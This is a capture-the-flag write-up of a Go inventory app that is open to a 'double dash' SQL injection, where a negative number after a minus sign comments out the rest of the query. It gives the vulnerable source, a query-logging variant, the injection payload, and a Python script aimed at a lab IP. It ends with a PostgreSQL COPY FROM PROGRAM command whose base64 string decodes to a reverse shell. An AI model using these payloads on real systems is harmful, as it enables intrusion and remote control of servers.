Web Exploitation

Challenge	Topic
Mechacore Inventory	Go, SQL Injection, Double Dash

Mechacore Inventory

Description

Solution

Given source code, following is main.go

//go:build ignore

package main

import (
    "fmt"
    "time"
    "log"
    "strconv"
    "net/http"
    "html/template"
    "github.com/go-pg/pg/v10"
    "github.com/go-pg/pg/v10/orm"
)

type User struct {
    Id     int64
    Name   string
    Email  string
    isAdmin bool
}

func (u User) String() string {
    return fmt.Sprintf("User<%d %s %v %d>", u.Id, u.Name, u.Email, u.isAdmin)
}

type Item struct {
    Id       int64
    Name     string
    Type     string
    Status     string
    CreationTimestamp    int64
    Quantity  int64
    OwnerId  int64
    Owner    *User `pg:"rel:has-one"`
}

func renderTemplate(w http.ResponseWriter, name string, data interface{}) {
	t, err := template.ParseGlob("templates/*.html")
	if err != nil {
		http.Error(w, fmt.Sprintf("Error %s", err.Error()), 500)
		return
	}

	err = t.ExecuteTemplate(w, name, data)
	if err != nil {
		http.Error(w, fmt.Sprintf("Error %s", err.Error()), 500)
		return
	}
}

func dbGetItems( lastnseconds int , name string) []Item {
    db := pg.Connect(&pg.Options{
        User: "postgres",
        Password: "postgres",
    })
    defer db.Close()

    var items []Item
    var err error
    fmt.Print(lastnseconds)
    fmt.Print(name)
    if name=="" && lastnseconds==0 {
        err = db.Model(&items).Select()
    } else {
        err = db.Model(&items).
            Where("item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)-? or item.name=?", lastnseconds , name).
	    Select()
    }
    if err != nil {
        panic(err)
    }

    return items
}

// createSchema creates database schema for User and Story models.
func createSchema() error {
    db := pg.Connect(&pg.Options{
        User: "postgres",
        Password: "postgres",
    })
    defer db.Close()

    var err error

    models := []interface{}{
        (*User)(nil),
        (*Item)(nil),
    }

    for _, model := range models {
        err = db.Model(model).DropTable(&orm.DropTableOptions{
		IfExists: true,
		Cascade:  true,
	})
        err = db.Model(model).CreateTable(&orm.CreateTableOptions{
            Temp: false,
        })
        if err != nil {
            return err
        }
    }
    
    user1 := &User{
        Name:   "admin",
        Email:  "admin1@admin",
    }
    _, err = db.Model(user1).Insert()
    if err != nil {
        panic(err)
    }

    item1 := &Item{
        Name:    "UD-123-412",
        Type:    "Sensor",
        Status:    "Finished",
        CreationTimestamp:    time.Now().Unix() - 3600*2,
        Quantity:    12,
        OwnerId: user1.Id,
    }
    item2 := &Item{
        Name:    "UD-123-555",
        Type:    "Arm",
        Status:    "Creating",
        CreationTimestamp:    time.Now().Unix() - 3600*5,
        Quantity:    5,
        OwnerId: user1.Id,
    }
    _, err = db.Model(item1).Insert()
    _, err = db.Model(item2).Insert()
    if err != nil {
        panic(err)
    }
    return nil
}


func handler(w http.ResponseWriter, r *http.Request) {
    name := r.FormValue("name")
    lastnseconds := r.FormValue("lastnseconds")
    lastnsecondsi, _ := strconv.Atoi(lastnseconds)
    items := dbGetItems(lastnsecondsi, name)

    renderTemplate(w, "inventory.html", struct {
        Items []Item
    }{
        Items: items,
    })
}

func main() {
    err := createSchema()
    if err != nil {
        panic(err)
    }

    http.HandleFunc("/", handler)
    log.Fatal(http.ListenAndServe(":8000", nil))
}

The highlighted line is where the vulnerability lies. Previously there is a research about this kind of vulnerability https://www.sonarsource.com/blog/double-dash-double-trouble-a-subtle-sql-injection-flaw/.

So if we can input negative value and it directly passed to the query that has "-" right before the negative value then it can be trigger a comment for the rest query. In this case, there is an application that receive last n seconds value that can be negative and it was substracted with the current timestamp. If we input negative value then the query will be like below

item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)--? or item.name=?

But the problem is we don't know the exact query passed to the SQL engine, we need to know it to reconstruct the SQL Injection payload. To overcame this, we can use the modified code below

//go:build ignore

package main

import (
    "fmt"
    "strconv"
    "github.com/go-pg/pg/v10"
    "log"
    "context"
)

type User struct {
    Id     int64
    Name   string
    Email  string
    isAdmin bool
}

type Item struct {
    Id       int64
    Name     string
    Type     string
    Status     string
    CreationTimestamp    int64
    Quantity  int64
    OwnerId  int64
    Owner    *User `pg:"rel:has-one"`
}

type QueryLogger struct{}

func (ql *QueryLogger) BeforeQuery(c context.Context, q *pg.QueryEvent) (context.Context, error) {
    return c, nil
}

func (ql *QueryLogger) AfterQuery(c context.Context, q *pg.QueryEvent) error {
    query, err := q.FormattedQuery()
    if err != nil {
        log.Printf("Failed to format query: %v", err)
        return nil
    }
    
    log.Printf("Executed query: \n%s\n", query)
    
    return nil
}


func dbGetItems( lastnseconds int , name string) []Item {
    db := pg.Connect(&pg.Options{
        User: "postgres",
        Password: "postgres",
    })
    defer db.Close()

    var items []Item
    var err error
    // fmt.Print(lastnseconds)
    // fmt.Print(name)
    db.AddQueryHook(&QueryLogger{})

    if name=="" && lastnseconds==0 {
        err = db.Model(&items).Select()
    } else {
        err = db.Model(&items).
            Where("item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)-? or item.name=?", lastnseconds , name).
        Select()
    }
    if err != nil {
        panic(err)
    }

    return items
}

func main() {
    var lastnseconds = "1"
    var name = "foo"
    lastnsecondsi, _ := strconv.Atoi(lastnseconds)
    items := dbGetItems(lastnsecondsi, name)
    fmt.Println(items)
}

By knowing the full query now we can create our SQL Injection payload

SELECT "item"."id", "item"."name", "item"."type", "item"."status", "item"."creation_timestamp", "item"."quantity", "item"."owner_id" FROM "items" AS "item" WHERE (item.creation_timestamp >= cast(extract(epoch from current_timestamp) as integer)--1 or item.name='foo
);select * from users;--')

So we need to close the bracket first then put the injection query.

var lastnseconds = "-1"
var name = "foo\n);select * from users;--"

Now we can confirm that it works, next just do scripting to send the payload to the server.

import requests
import urllib.parse

def urlencode(data):
    return urllib.parse.quote(data)

query = "SELECT 1,2,table_name,4,5,6 from information_schema.tables"
exploit = f"foo\n);{query};--"
burp0_url = f"http://10.10.48.212:80/?name={urlencode(exploit)}&lastnseconds=-1"
burp0_headers = {"Accept-Language": "en-US,en;q=0.9", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://10.10.48.212/", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
resp = requests.get(burp0_url, headers=burp0_headers)
print(resp.text)

next we can trigger RCE using COPY FROM query with $$ as the substitution for '

COPY shell FROM PROGRAM $$echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuOC44MC4xNS80NDQ0IDA+JjE= | base64 -d | bash$$